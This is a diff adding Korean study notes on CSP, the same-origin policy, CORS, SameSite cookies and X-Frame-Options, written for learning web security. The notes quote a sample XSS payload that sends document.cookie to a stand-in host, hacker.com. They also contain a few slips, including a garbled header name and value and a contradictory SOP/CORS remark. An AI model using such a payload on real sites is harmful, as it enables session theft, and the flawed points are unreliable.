diff --git a/keyword/chapter05/keyword05.md b/keyword/chapter05/keyword05.md
new file mode 100644
index 0000000..7e40da7
--- /dev/null
+++ b/keyword/chapter05/keyword05.md
@@ -0,0 +1,1124 @@
+- **📚 블로그 읽고 Content Security Policy(CSP) 정리해보기 🍠**
+  - 서버에서 HTML 문서를 응답할 때 CSP를 적용하려면 어떤 HTTP 응답 헤더를 설정해야 하나요? 블로그에 나온 Express.js 코드 예시를 기반으로 설명해보세요.
+    서버에서 HTML 문서를 응답할 때 `Content-Security-Policy` 헤더를 추가하면 돼요.
+
+    ```tsx
+    res.setHeader('Content-Security-Policy', "default-src 'self'");
+    ```
+
+    - `res.setHeader(...)`: HTTP 응답 헤더를 추가하는 함수
+    - `'Content-Security-Policy'`: 헤더 이름
+    - `"default-src 'self'"`: 정책 값 (어떤 리소스를 허용할지)
+
+    ```tsx
+    브라우저가 HTML 요청
+             ↓
+    서버가 HTML 응답 + Content-Security-Policy 헤더 포함해서 전송
+             ↓
+    브라우저가 헤더를 읽고 정책에 따라 리소스 로드 허용/차단
+    ```
+
+  - `default-src 'self'` 설정은 브라우저에게 어떤 보안 정책을 의미하나요? 또한 `'self'` 값은 어떤 출처를 포함하거나 제외하나요?
+    - `default-src 'self’` 는?
+        <aside>
+        ❓
+        
+        `default-src`는 **fallback으로 동작**해요. 다른 세부 설정(script-src, img-src 등)이 없으면 `default-src`의 설정값을 따라요.
+        
+        </aside>
+        
+        쉽게 말하자면 “기본 규칙”을 따르는 거예요!
+        
+        ```tsx
+        default-src = 모든 리소스 종류의 기본 정책
+           ├── script-src 설정 없으면 → default-src 따름
+           ├── img-src 설정 없으면 → default-src 따름
+           ├── style-src 설정 없으면 → default-src 따름
+           └── ...
+        ```
+
+    - `'self'` 란?
+        <aside>
+        ❓
+        
+        `'self'`는 **현재 문서의 출처**를 의미해요. 따라서 위 설정은 브라우저가 **현재 출처의 자원만 사용하라는 기본값**을 명시한 것이에요.
+        
+        </aside>
+        
+        `'self'` 가 포함하는 것 vs 제외하는 것
+        
+        ```tsx
+        ✅ 허용 (포함)
+        내 사이트 주소가 [matthew.com](http://matthew.com/) 이라면:
+        → [matthew.com/images/logo.png](http://matthew.com/images/logo.png)  ✅ (같은 출처)
+        → [matthew.com/js/app.js](http://matthew.com/js/app.js)        ✅ (같은 출처)
+        ```
+        
+        ```tsx
+        ❌ 차단 (제외)
+        → [cdn.example.com/jquery.js](http://cdn.example.com/jquery.js)    ❌ (다른 출처)
+        → [hacker.com/evil.js](http://hacker.com/evil.js)           ❌ (다른 출처)
+        → [sub.matthew.com/](http://sub.matthew.com/)...          ❌ (하위 도메인도 다른 출처!)
+        ```
+        
+        ⚠️**:** `'self'`는 **하위 도메인(서브도메인)도 포함하지 않아요.** `sub.matthew.com`은 `matthew.com`과 다른 출처로 취급돼요.
+
+  - 블로그에 나온 악성 스크립트(`<script>fetch(...)</script>`)를 주입했을 때 CSP가 어떻게 동작하는지 네트워크 탭과 콘솔 메시지 측면에서 설명해보세요. -해당 악성 스크립트의 목적은 내 쿠키를 해커 서버로 몰래 전송하는 것이에요.
+    - CSP가 있을 때 일어나는 일
+      - 🌐 네트워크 탭에서 보면:
+        > 네트워크 탭을 확인하면 `hacker.com`으로 네트워크 요청이 발생하지 않은 것을 확인할 수 있어요.
+        ```tsx
+        네트워크 탭
+          matthew.com  200 OK   ✅ (정상 로드)
+          hacker.com   (없음)   ← 요청 자체가 발생 안 함!
+        ```
+      - 🖥️ 콘솔에서 보면:
+        > 브라우저 콘솔에는 **Content Security Policy** 경고가 표시돼요. "다음 지시자를 위반했기 때문에 인라인 스크립트가 실행되지 않도록 차단했다"라는 메시지를 볼 수 있어요.
+        ```tsx
+        콘솔 에러 메시지:
+        Refused to execute inline script because it violates
+        the following Content Security Policy directive: "default-src 'self'"
+        ```
+    - 비유로 이해하기!
+        <aside>
+        ❓
+        
+        마치 건물 출입구의 보안 요원이 출입증이 없는 사람을 막는 것과 같아요!
+        
+        허가되지 않은 스크립트는 애초에 실행되지 않아요!
+        
+        </aside>
+        
+        ```tsx
+        악성 스크립트
+               ↓
+          [브라우저 보안 요원] "출처가 hacker.com? 허가 안 됨!"
+               ↓
+           차단! (실행 자체를 안 함)
+               ↓
+           hacker.com으로 요청 없음 + 콘솔에 경고 출력
+        ```
+
+  - 기본 CSP 설정에서 인라인 스타일이 차단된다고 했습니다. 블로그 예시 중 `width:600px`이 적용되지 않는 이유를 설명하세요.
+      <aside>
+      ❓
+      
+      `width:600px` 이 왜 안 먹힐까요?
+      
+      `default-src 'self'` 설정은 스타일에도 적용돼요. `style-src`를 따로 설정하지 않았으니 `default-src`가 fallback으로 적용되는 거예요.
+      
+      CSP는 인라인 스크립트뿐만 아니라 **인라인 스타일까지 차단**하여 보안을 강화해요.
+      
+      </aside>
+      
+      - 왜 인라인 스타일까지 막을까?
+          
+          인라인 스타일에도 악성 코드가 숨어들 수 있기 떄문에 기본 정책에서 함께 막아요!
+          
+      - 해결 방법은? - `'unsafe-inline'`  허용!
+          
+          ```tsx
+          // 인라인 스타일을 허용하고 싶다면 따로 명시해야 해요
+          res.setHeader(
+          'Content-Security-Policy',
+          "default-src 'self'; style-src 'self' 'unsafe-inline'"
+          );
+          ```
+          
+          ⚠️ `'unsafe-inline'`을 허용하면 보안이 약해지므로 꼭 필요할 때만 쓰고, 가능하면 외부 CSS 파일로 분리하는 게 좋아요.
+
+  - 구글 애널리틱스, 카카오맵, 외부 API 등이 CSP 때문에 차단될 수 있다고 했습니다. 이러한 현상을 "건물 보안을 강화한다"는 비유와 연결해 설명해보세요.
+      <aside>
+      🚨
+      
+      CSP를 너무 엄격하게 설정하면 정상적인 기능까지 제한될 수 있어요. 
+      
+      실제 발생할 수 있는 문제들로는 
+      
+      **구글 애널리틱스** 같은 외부 분석 도구가 작동하지 않거나, **카카오맵**, **네이버맵** 등 외부 API가 차단되고, 
+      
+      **소셜 로그인** 버튼이 작동하지 않거나, **웹폰트**가 로드되지 않아 디자인이 깨지는 현상이 있어요
+      
+      </aside>
+      
+      - 건물 보안 비유로 이해하기
+          
+          > 건물 보안을 강화한다고 모든 출입문을 막아버려서, 직원들도 출입하지 못하는 상황과 같아요!
+          > 
+          
+          ```tsx
+          🏢 건물 = 우리 웹사이트
+          🚪 출입문 = 리소스를 불러오는 경로
+          👮 보안 요원 = CSP 정책
+          🪪 출입증 = 허용된 출처(도메인)
+          
+          상황:
+          보안 강화를 위해 "출입증 없으면 전부 차단!"
+          
+          → 해커 ❌ 잘 막힘
+          → 구글 애널리틱스 직원 ❌ 같이 막혀버림 (출입증이 없으니까)
+          → 카카오맵 API ❌ 같이 막혀버림
+          → 구글 폰트 ❌ 같이 막혀버림
+          ```
+          
+          - 해결책: 신뢰할 수 있는 도메인은 명단에 추가
+              
+              ```tsx
+              res.setHeader(
+                'Content-Security-Policy',
+                `default-src 'self';
+                 script-src 'self' https://www.google-analytics.com;
+                 img-src 'self' https://dapi.kakao.com;
+                 font-src 'self' https://fonts.googleapis.com`
+              );
+              ```
+              
+              💡 따라서 CSP는 **단계적으로 적용**하면서 서비스에 미치는 영향을 **지속적으로 모니터링**해야 해요.
+
+  - Report-Only 모드에서는 실제 리소스 실행이 차단되지 않습니다. 그 대신 브라우저와 서버에서 각각 어떤 동작을 수행하나요?
+    😀 일반 CSP vs Report-Only 차이
+    - **일반 CSP**: 진단하고 실행을 \*\*차단
+    - Report-Only**: 진단만 하고 실행은 **허용\*\*
+    - Report-Only 모드 설정 방법
+
+      > `Content-Security-Policy-Report-Only` 응답 헤더를 사용해요
+
+      ```tsx
+      res.setHeader(
+        'Content-Security-Policy-Report-Only',
+        "default-src 'self'; report-uri /report",
+      );
+      ```
+
+        <aside>
+        ⚠️
+        
+        헤더 이름이 `Content-Security-Policy` → `Content-Security-Policy-Report-Only` 로 바뀐 것이 핵심이에요.
+        
+        </aside>
+
+    - 브라우저 쪽
+        <aside>
+        ⚠️
+        
+        브라우저가 정책 위반을 **진단만** 하고, 리소스 로드는 **차단하지 않고** 그대로 실행
+        
+        </aside>
+        
+        ```tsx
+        악성 스크립트 발견
+            ↓
+        "이건 정책 위반이네... 근데 Report-Only니까 일단 실행은 함"
+            ↓
+        스크립트 실행 허용 (hacker.com으로 실제로 요청 감!)
+            ↓
+        동시에 /report 경로로 위반 내용 전송
+        ```
+
+    - 서버 쪽
+        <aside>
+        ⚠️
+        
+        진단 결과를 **서버로 보고**해요. 서버는 CSP 위반 리포트를 받아서 JSON 형태의 본문을 처리할 수 있어요.
+        
+        </aside>
+        
+        ```tsx
+        // 서버가 /report 경로에서 받는 JSON
+        {
+          "csp-report": {
+            "document-uri": "http://matthew.com",
+            "violated-directive": "script-src",
+            "effective-directive": "style-src-elem",
+            "blocked-uri": "inline"
+          }
+        }
+        ```
+
+    - CCTV 비유로 이해하기
+      마치 건물에 CCTV를 먼저 설치해서 출입 패턴을 분석한 다음, 그 데이터를 바탕으로 보안 규칙을 만드는 것과 같아요.
+      ```tsx
+      CCTV(Report-Only) 단계:
+      "이 사람이 자주 출입하네, 저 사람이 수상하네" → 데이터 수집
+               ↓
+      분석 후 실제 보안 정책 도입:
+      "이 사람은 막자, 저 사람은 허용하자"
+      ```
+      💡 **언제 쓸까? -** CSP를 처음 도입할 때 바로 차단 모드로 쓰면 정상 기능까지 막힐 수 있어서, Report-Only로 먼저 어떤 것들이 걸리는지 파악하고 나서 진짜 CSP를 적용하는 거예요.
+
+  - CSP만으로는 CSRF를 막을 수 없다고 했습니다. 블로그에 정리된 다른 보안 조치들(SameSite 쿠키, X-Frame-Options 등) 중 2가지를 설명하세요.
+      <aside>
+      ⚠️
+      
+      CSP는 **크로스 사이트 스크립팅(XSS) 공격 방어**에는 효과적이지만,
+      
+      **CSRF와 같은 다른 유형의 공격**은 막지 못해요.
+      
+      </aside>
+      
+      - 🍪 SameSite 쿠키 — CSRF 공격 방어
+          - CSRF는?
+              
+              ```tsx
+              1. 내가 은행 사이트에 로그인 (쿠키 저장됨)
+              2. 악성 사이트 방문
+              3. 악성 사이트가 몰래 은행 송금 요청을 내 대신 보냄
+              4. 브라우저가 자동으로 쿠키를 붙여서 전송
+              5. 은행 서버는 쿠키가 있으니 "정상 요청"으로 인식 😱
+              ```
+              
+          - SameSite로 막는 방법
+              
+              ```tsx
+              SameSite=Strict  → 다른 사이트에서 온 요청엔 쿠키 절대 안 보냄
+              SameSite=Lax     → 다른 사이트에서 온 GET 요청엔 쿠키 보냄 (기본값)
+              SameSite=None    → 모든 요청에 쿠키 보냄 (Secure와 함께 써야 함)
+              ```
+              
+              ```tsx
+              악성 사이트에서 은행에 요청
+                  ↓
+              브라우저: "SameSite=Strict이라 다른 사이트 요청엔 쿠키 안 보냄"
+                  ↓
+              쿠키 없이 요청 → 은행 서버: "인증 안 됨" → 차단! ✅
+              ```
+              
+      - 🖼️ X-Frame-Options — 클릭재킹 방어
+          - 클릭재킹이란?
+              
+              ```tsx
+              악성 사이트에 투명한 iframe으로 은행 사이트를 올려놓음
+                   ↓
+              "여기 클릭하면 경품 당첨!" 이라고 속임
+                   ↓
+              실제로는 투명 iframe 위에서 클릭 → 은행에서 송금 버튼 클릭됨 😱
+              ```
+              
+          - X-Frame-Options로 막는 방법
+              
+              ```tsx
+              res.setHeader('X-Frame-Options', 'DENY');
+              // 또는
+              res.setHeader('X-Frame-Options', 'SAMEORIGIN');
+              ```
+              
+              ```tsx
+              DENY        → 어떤 사이트에서도 iframe으로 못 띄움
+              SAMEORIGIN  → 같은 출처에서만 iframe 허용
+              ```
+              
+              ```tsx
+              악성 사이트가 은행 사이트를 iframe으로 띄우려 함
+                  ↓
+              브라우저: "X-Frame-Options: DENY 있음, iframe 로드 차단"
+                  ↓
+              클릭재킹 불가능 ✅
+              ```
+
+- **📚 블로그 읽고 동일 출처 정책(Same Origin Policy) 정리해보기 🍠**
+
+  # **📚 블로그 읽고 동일 출처 정책(Same Origin Policy) 정리해보기 🍠**
+
+  ***
+
+  [개발자 매튜 | 웹 보안의 핵심, Same Origin Policy(동일 출처 정책) 쉽게 이해하기](https://www.yolog.co.kr/post/http-same-origin-policy/)
+  - 출처(Origin)는 어떤 세 요소의 조합으로 결정되나요?
+    **프로토콜** (`http`, `https`)
+    **호스트** (도메인)
+    **포트** (`80`, `443`, `8080` 등)
+    ⇒ 이 세 가지가 모두 일치해야 **같은 출처**로 간주
+
+    ```tsx
+
+    출처(Origin) = 프로토콜 + 호스트 + 포트
+
+    https://  matthew.com  :443
+      ↑           ↑          ↑
+    프로토콜     호스트       포트
+
+    ```
+
+    💡 **포트를 안 썼을 때는?** http는 기본 포트가 80, https는 443이에요. 생략하면 브라우저가 자동으로 기본 포트를 적용해요.
+
+  - 출처의 요소가 다른 경우(예: 프로토콜만, 포트만 다른 경우)에 같은 출처인지 아닌지를 예시 3개(같은 출처 1개, 다른 출처 2개)로 설명하세요.
+    `https://matthew.com` 으로 비교
+    - ✅ 같은 출처
+      [`https://matthew.com/about`](https://matthew.com/about) → 같은 출처!
+      ⇒ 프로토콜·호스트·포트 모두 동일
+      ⇒ **경로(path)는 출처 판단에 영향 없음**
+
+      ```tsx
+      https://matthew.com      (기준)
+      https://matthew.com/about (비교)
+
+      프로토콜: https = https  ✅
+      호스트:   matthew.com = matthew.com  ✅
+      포트:     443 = 443  ✅
+      → 세 가지 모두 같으니 같은 출처!
+      ```
+
+    - ❌ 다른 출처
+      - 프로토콜만 다른 경우
+        [`http://matthew.com`](http://matthew.com/) → 다른 출처!
+        ⇒프로토콜이 https → http로 달라짐
+
+        ```tsx
+        https://matthew.com  (기준)
+        http://matthew.com   (비교)
+
+        프로토콜: https ≠ http  ❌ ← 여기서 이미 탈락
+        호스트:   matthew.com = matthew.com
+        포트:     443 ≠ 80
+        → 다른 출처!
+        ```
+
+      - 포트만 다른 경우
+        [`https://matthew.com:8080`](https://matthew.com:8080/) → 다른 출처!
+        ⇒ 포트가 443 → 8080으로 달라짐
+
+        ```tsx
+        https://matthew.com       (기준, 포트 443)
+        https://matthew.com:8080  (비교, 포트 8080)
+
+        프로토콜: https = https  ✅
+        호스트:   matthew.com = matthew.com  ✅
+        포트:     443 ≠ 8080  ❌ ← 포트 하나 때문에 다른 출처
+        → 다른 출처!
+        ```
+
+        ⚠️ **흔한 실수:** 로컬 개발할 때 프론트엔드는 `localhost:3000`, 백엔드는 `localhost:8080`으로 띄우면 포트가 달라서 다른 출처가 돼요! 이때 CORS 에러가 나는 거예요.
+
+  - 블로그에 나온 `fetch` 기반 악성 스크립트를 다른 출처로 실행했을 때 브라우저에서 어떤 일이 발생하나요? 네트워크 전송 여부, 응답 사용 가능성, 브라우저 콘솔 메시지 측면에서 서술하세요.
+
+    ```tsx
+    fetch(`http://hacker.com:8081?cookie=${document.cookie}`);
+    ```
+
+      <aside>
+      ⚠️
+      
+      `fetch` 함수는 다른 출처의 사이트로 네트워크 요청을 보내려고 시도해요. 
+      
+      하지만 중요한 점은 네트워크 요청은 전송되지만, **응답 데이터는 사용할 수 없고**, 브라우저가 오류를 발생시켜요
+      
+      </aside>
+      
+      - 🌐 네트워크 전송 여부
+          
+          ```tsx
+          요청 자체는 서버로 전송됨 (네트워크 탭에 요청이 보임)
+          → SOP는 "요청을 막는 것"이 아니라 "응답을 막는 것"이에요
+          ```
+          
+          ⚠️ 이 차이가 중요해요! CSP는 요청 자체를 아예 안 보내지만, SOP는 요청은 보내고 응답을 못 쓰게 막아요.
+          
+      - 📦 응답 사용 가능성
+          
+          ```tsx
+          응답은 서버에서 오지만 브라우저가 JavaScript에게 전달하지 않음
+          → fetch().then(res => res.json()) 이 부분에서 막힘
+          → 응답 데이터 접근 불가
+          ```
+          
+      - 🖥️ 브라우저 콘솔 메시지
+          
+          <aside>
+          ⚠️
+          
+          브라우저는 "동일 출처 정책으로 인해 `hacker.com`에 있는 원격 리소스를 차단했다"라는 오류 메시지를 표시
+          
+          </aside>
+          
+          ```tsx
+          콘솔 에러:
+          Access to fetch at 'http://hacker.com:8081' from origin
+          'http://matthew.com' has been blocked by CORS policy:
+          No 'Access-Control-Allow-Origin' header is present...
+          ```
+
+  - SOP가 어떻게 Session Hijacking(세션 하이재킹) 시도를 방지하는지 구체적으로 설명하세요. SOP가 차단하는 것과 허용되는 것(예: 네트워크 요청은 나가지만 응답 데이터에 접근 불가)을 포함하세요.
+    - Session Hijacking이 뭐야?
+      ```tsx
+      1. 내가 은행(bank.com)에 로그인
+      2. 브라우저에 세션 쿠키 저장됨: session_id=abc123
+      3. 악성 사이트(hacker.com) 방문
+      4. 악성 스크립트 실행:
+         fetch('http://bank.com/myinfo')  ← 내 세션 쿠키가 자동으로 붙어서 전송
+      5. 은행 서버는 쿠키가 있으니 정상 요청으로 처리
+      6. 내 계좌 정보가 해커한테 넘어감 😱
+      ```
+    - SOP가 이걸 막는 방식
+        <aside>
+        ⚠️
+        
+        SOP의 목적은 악의적인 웹사이트가 사용자 데이터를 무단으로 접근하거나 유출하는 것을 방지하는 것이에요. 
+        
+        Session Hijacking처럼 사용자가 로그인한 세션 쿠키를 다른 사이트로 보내지 못하게 차단해요!
+        
+        </aside>
+        
+        SOP가 허용하는 것
+        
+        ```tsx
+        hacker.com → bank.com 으로 요청 전송 자체는 됨
+        (네트워크 요청은 나감)
+        ```
+        
+        SOP가 차단하는 것
+        
+        ```tsx
+        bank.com의 응답 데이터를 hacker.com의 JS가 읽는 것 → 차단!
+        
+        fetch('http://bank.com/myinfo')
+          .then(res => res.json())  ← 여기서 SOP가 차단
+          .then(data => {
+            // data에 접근 불가! 에러 발생
+            sendToHacker(data);  // 실행 안 됨
+          })
+        ```
+
+    🚨 전체 흐름 요약
+
+    ```tsx
+    [hacker.com 악성 스크립트]
+            ↓ 요청 전송 (허용)
+    [bank.com 서버] → 응답 반환
+            ↓
+    [브라우저 SOP 검사]
+    "요청 출처: hacker.com
+     응답 출처: bank.com
+     → 다른 출처! 응답 데이터 차단"
+            ↓
+    [악성 스크립트] "응답 읽기 실패" → 데이터 유출 실패 ✅
+    ```
+
+    💡 **아파트 비유로 이해하기 -** 마치 아파트 출입구에서 주민증을 확인하는 것과 같음!
+    - 같은 단지 주민만 입장 가능! 타아파트 주민은 NO!
+
+  - 블로그에서 명시한 대로 SOP가 반드시 동일 출처에서만 접근하도록 하는 주요 브라우저 API/리소스 3가지를 쓰고, 각각에 대해 간단한 설명(왜 제한되는지)을 덧붙이세요. -`fetch()` API -`XMLHttpRequest` -`@font-face` 웹 폰트
+    - `fetch()` API
+      ```tsx
+      // hacker.com에서 아래 코드 실행 시 차단
+      fetch('https://bank.com/api/myinfo');
+      ```
+      -제한 이유
+      : `fetch`는 서버에서 **민감한 데이터(개인정보, 인증 정보 등)를 읽어올 수 있는** 가장 강력한 수단
+      : 다른 출처의 응답을 자유롭게 읽을 수 있다면 Session Hijacking, 데이터 탈취가 너무 쉬워짐
+    - `XMLHttpRequest`
+      ```tsx
+      // 예전 방식의 AJAX 요청, fetch 이전에 쓰던 방법
+      const xhr = new XMLHttpRequest();
+      xhr.open('GET', 'https://bank.com/api/myinfo');
+      xhr.send(); // 다른 출처면 응답 접근 차단
+      ```
+      -제한 이유
+      : `fetch()`와 마찬가지로 서버 데이터를 읽어오는 API
+      : `fetch()`보다 오래된 방식이지만 동일하게 SOP 적용 받음
+    - `@font-face` 웹 폰트
+      ```tsx
+      @font-face {
+        font-family: 'MyFont';
+        src: url('http://other-origin.com/MyFont.woff2');  /* 차단될 수 있음 */
+      }
+      ```
+      교차 출처 요청 차단 오류가 발생하며, 브라우저는 "동일 출처 정책으로 인해 `MyCustomFont`에 있는 원격 리소스를 차단했다"라고 알려줘요! -제한 이유
+      : 폰트 파일은 저작권이 있는 유료 리소스일 수 있어서 무단으로 다른 사이트가 가져다 쓰는 것을 막기 위해서예요.
+      : 단, `@font-face`는 브라우저마다 정책이 달라서, 일부 브라우저는 교차 출처를 허용하고 일부는 차단해요.
+  - SOP와 CSP의 차이를 블로그 내용에 따라 요점 4개(각 항목 1문장)로 정리하세요. (예: 누가 적용하는가, 제어 주체, 설정 가능 여부 등)
+      <aside>
+      ⚠️
+      
+      두 정책 모두 XSS 공격 방지를 목표로 하지만, 접근 방식이 달라요!
+      
+      </aside>
+      
+      |  | SOP | CSP |
+      | --- | --- | --- |
+      | **누가 적용하는가** | 브라우저가 
+      스스로 | 서버가 설정
+      브라우저가 실행 |
+      | 제어 주체 | 개발자 직접
+      제어 불가 | 개발자 직접
+      설정 가능 |
+      | 설정 가능 여부 | 브라우저에 
+      내장된 고정 정책 | HTTP 헤더로
+      커스텀 가능 |
+      | 적용 범위 | 모든 웹페이지에 자동 적용 | 설정한 서비스에만 적용 |
+      
+      ```tsx
+      SOP = 건물의 철문, 잠금장치 (구조 자체에 내장, 바꿀 수 없음)
+      CSP = 건물주가 추가로 세운 보안 규칙 (맞춤 설정 가능)
+      ```
+
+  - 브라우저에서 SOP 관련 차단 오류를 발견했을 때(예: 콘솔에 “동일 출처 정책으로 인해 ... 차단했습니다” 메시지) 문제 원인 파악을 위한 체크리스트(최소 3항목)를 작성하고, 임시·영구 대응 방안(각 1~2줄)도 제시하세요.
+    - ✅ 체크리스트 (원인 파악)
+      1. 프로토콜 확인
+
+         ```tsx
+         프론트: [http://localhost:3000](http://localhost:3000/)
+         API:    [https://api.myapp.com](https://api.myapp.com/)  ← http vs https 다름!
+         ```
+
+         → 프로토콜이 다른지 확인!
+
+      2. 포트 확인
+
+         ```tsx
+         프론트: [http://localhost:3000](http://localhost:3000/)
+         백엔드: [http://localhost:8080](http://localhost:8080/)  ← 포트 번호 다름!
+         ```
+
+         → 로컬 개발 환경에서 가장 흔한 원인!
+
+      3. 도메인 / 서브도메인 확인
+
+         ```tsx
+         프론트: [https://www.myapp.com](https://www.myapp.com/)
+         API:    [https://api.myapp.com](https://api.myapp.com/)  ← 서브도메인 다름!
+         ```
+
+         → `www`와 `api`는 다른 출처!
+
+    - 🛠️ 대응 방안
+      - 임시 대응!
+          <aside>
+          ⚠️
+          
+          프록시 설정으로 우회하기. 
+          
+          React 기준으로 `package.json`에 아래를 추가하면 개발 서버가 대신 요청을 중계!
+          
+          ```tsx
+          {
+          "proxy": "[http://localhost:8080](http://localhost:8080/)"
+          }
+          ```
+          
+           Vite 사용 시
+          
+          ```tsx
+          // vite.config.js
+          server: {
+            proxy: {
+              '/api': 'http://localhost:8080'
+            }
+          }
+          ```
+          
+          </aside>
+
+      - 영구 대응(실서비스)
+          <aside>
+          ⚠️
+          
+          백엔드 서버에서 **CORS 헤더를 응답에 추가**하는 것이 근본적인 해결책!
+          
+          </aside>
+          
+          ```tsx
+          // Express.js 예시
+          res.setHeader('Access-Control-Allow-Origin', 'https://myapp.com');
+          // 또는 cors 라이브러리 사용
+          app.use(cors({ origin: 'https://myapp.com' }));
+          ```
+
+- **📚 블로그 읽고 교차 출처 리소스 공유(CORS) 정리해보기 🍠**
+  - 브라우저에서 `http://localhost:8080` 애플리케이션이 `http://localhost:8081/resource.json`을 요청했을 때, 네트워크 요청과 응답은 어떻게 처리되며, 브라우저가 응답 본문을 사용하지 못하는 이유는 무엇인가요?
+
+    ```tsx
+    브라우저에서 실행 중인 앱: http://localhost:8080
+    요청하려는 자원:           http://localhost:8081/resource.json
+
+    프로토콜: http = http  ✅
+    호스트:   localhost = localhost  ✅
+    포트:     8080 ≠ 8081  ❌ ← 포트가 달라서 다른 출처!
+    ```
+
+    네크워크 요청
+    : `8081`번 포트로 요청을 보내고 응답도 받았지만, **스크립트에서 응답 본문을 사용할 수 없다**는 메시지가 표시
+
+    ```tsx
+    흐름:
+    ① 브라우저가 8081로 요청 전송 → ✅ 요청은 나감
+    ② 8081 서버가 응답 반환 → ✅ 응답도 옴
+    ③ 브라우저가 응답 헤더 검사
+       "Access-Control-Allow-Origin 헤더 있어?" → ❌ 없음
+    ④ 브라우저가 응답 본문을 JS에게 전달 거부 → ❌ 차단!
+    ```
+
+    응답 본문을 사용하지 못하는 이유
+    - 원인
+      : `Access-Control-Allow-Origin` CORS 헤더가 없기 때문
+      → 브라우저는 다른 출처로 요청을 보낼 때 응답 헤더 중 `Access-Control-Allow-Origin`을 확인하고, 이 헤더에 현재 출처가 포함되어 있는지 검사하여 서버가 해당 출처를 허용했는지 판단함
+      BUT 서버 8081은 아직 이에 대해 명시하지 않았기 때문에, 브라우저는 자원 사용을 허용하지 않은 것으로 판단하여 네트워크 오류를 발생시킨 것!
+      💡 **핵심 포인트:** SOP와 달리 CORS 에러는 "요청을 막는 게 아니라 응답 사용을 막는 것"이에요. 서버는 응답을 보냈지만 브라우저가 JS에게 전달을 거부하는 거예요.
+
+  - 서버가 다른 출처(`http://localhost:8080`)에서 자원을 사용할 수 있게 하려면 어떤 응답 헤더를 어떻게 설정해야 하나요? 글의 예시 코드를 참고해 헤더 이름과 값까지 구체적으로 쓰세요.
+      <aside>
+      ⚠️
+      
+      서버가 다른 출처에게 자원을 공유하려면 `Access-Control-Allow-Origin` 헤더를 설정해야 해요!
+      
+      </aside>
+      
+      ```tsx
+      //예시코드
+      const handler = (req, res) => {
+        // localhost:8080 출처를 허용
+        res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080');
+        static(path.join(__dirname, 'public'))(req, res);
+      };
+      ```
+      
+      -헤더 이름: `Access-Control-Allow-`
+      -값: `Originhttp://localhost:8080`
+      -의미: 해당 출처에서 오는 요청의 응답 사용을 허락함
+      
+      - 위의 것들이 설정되면 브라우저가 하는 판단
+          
+          <aside>
+          ⚠️
+          
+          응답을 받은 브라우저는 이 헤더에 **자신의 출처가 포함되어 있는지** 확인해요.
+          
+          포함되어 있다면 "서버가 자원 사용을 허락했다"고 판단하여 응답을 사용해요.
+          
+          </aside>
+          
+          ```tsx
+          브라우저 내부 판단 과정:
+          
+          현재 앱 출처:                    http://localhost:8080
+          서버 응답 헤더:  Access-Control-Allow-Origin: http://localhost:8080
+          
+          "내 출처가 헤더에 있네!" → 응답 사용 허락 ✅
+          ```
+          
+      - 모든 출처를 허용하고 싶으면?
+          
+          ```tsx
+          res.setHeader('Access-Control-Allow-Origin', '*');
+          // * = 와일드카드, 모든 출처 허용
+          // 단, 쿠키/인증 정보를 포함한 요청에는 * 사용 불가
+          ```
+
+  - 단순 요청으로 분류되기 위해서는 어떤 두 가지 조건을 만족해야 하나요? 또한 `GET /resource.json` 요청이 단순 요청에 해당하는 이유를 설명하세요.
+    - 조건 1: 허용된 HTTP 메소드 사용
+      허용된 메소드는 `GET`, `POST`, `HEAD` !
+      ```tsx
+      ✅ 단순 요청 메소드: GET, POST, HEAD
+      ❌ 단순 요청 아님:   PUT, PATCH, DELETE → 사전 요청(Preflight) 필요
+      ```
+    - 조건 2: 안전한 헤더만 사용
+      안전한 헤더 목록
+      - `Accept`
+      - `Accept-Language`
+      - `Content-Language`
+      - `Content-Type`
+      - `Range`
+      ```tsx
+      ✅ 안전한 헤더 예시: Content-Type, Accept
+      ❌ 커스텀 헤더:      X-Goguma 같은 임의로 만든 헤더 → 사전 요청 필요
+      ```
+    - `GET /resource.json` 이 단순 요청인 이유
+
+      ```tsx
+      요청 메소드: GET  → 허용된 메소드 목록에 있음 ✅
+      요청 헤더:   특별한 커스텀 헤더 없음 → 안전한 헤더만 사용 ✅
+
+      → 두 조건 모두 만족 → 단순 요청! ✅
+      ```
+
+      -단순 요청 흐름!
+
+      ```tsx
+      브라우저 → 요청 (Origin 헤더 포함)
+      서버     → 응답 (Access-Control-Allow-Origin 헤더 포함)
+      브라우저 → 헤더 확인 후 응답 사용 결정
+      (사전 요청 없이 바로 진행!)
+      ```
+
+      브라우저는 다른 출처의 자원을 사용하기 위해 HTTP 요청을 만들 때 `Origin` 헤더에 현재 출처를 실어서 보내요.
+      브라우저가 서버에게 "나의 출처는 이곳이니, 당신의 자원을 사용해도 되나요?"라고 묻는 것이에요.
+
+  - 브라우저에서 `X-Goguma`라는 커스텀 헤더를 추가했을 때 왜 차단이 발생하나요? 이 문제를 해결하기 위해 서버에서 추가해야 하는 응답 헤더와 값은 무엇인가요?
+    - 차단 발생 이유
+        <aside>
+        ⚠️
+        
+        브라우저에서 교차 출처 요청을 할 때 안전한 헤더 이외의 헤더를 사용하면, 
+        출처 확인과 마찬가지로 **헤더 사용 여부도 서버에게 확인받아야** 해요
+        
+        </aside>
+        
+        ```tsx
+        X-Goguma 헤더
+            ↓
+        안전한 헤더 목록(Accept, Content-Type 등)에 없음!
+            ↓
+        브라우저: "이 헤더 써도 돼요?" → 서버에게 먼저 확인 필요
+            ↓
+        서버가 허용 안 했으니 차단!
+        ```
+        
+        에러 메시지는 `Access-Control-Allow-Headers`에 헤더 `X-Goguma`가 허용되지 않았다고 표시!!
+
+    - 해결을 위해 추가해야 하는 헤더
+        <aside>
+        ⚠️
+        
+        안전하지 않은 헤더를 사용하려면 서버가 `Access-Control-Allow-Headers` 응답 헤더에 허용할 헤더 이름을 명시해야 해요
+        
+        </aside>
+        
+        ```tsx
+        const handler = (req, res) => {
+          res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080');
+          // X-Goguma 헤더를 허용
+          res.setHeader('Access-Control-Allow-Headers', 'X-Goguma');
+          static(path.join(__dirname, 'public'))(req, res);
+        };
+        ```
+        
+        -헤더 이름: `Access-Control-Allow-Headers` 
+        -값: `X-Goguma`
+        -의미: 해당 커스텀 헤더 사용을 허락함
+        
+        -여러 커스텀 헤더를 허용하려면 쉼표로 구분!
+        
+        ```tsx
+        res.setHeader('Access-Control-Allow-Headers', 'X-Goguma, X-Custom-Header, Authorization');
+        
+        ```
+
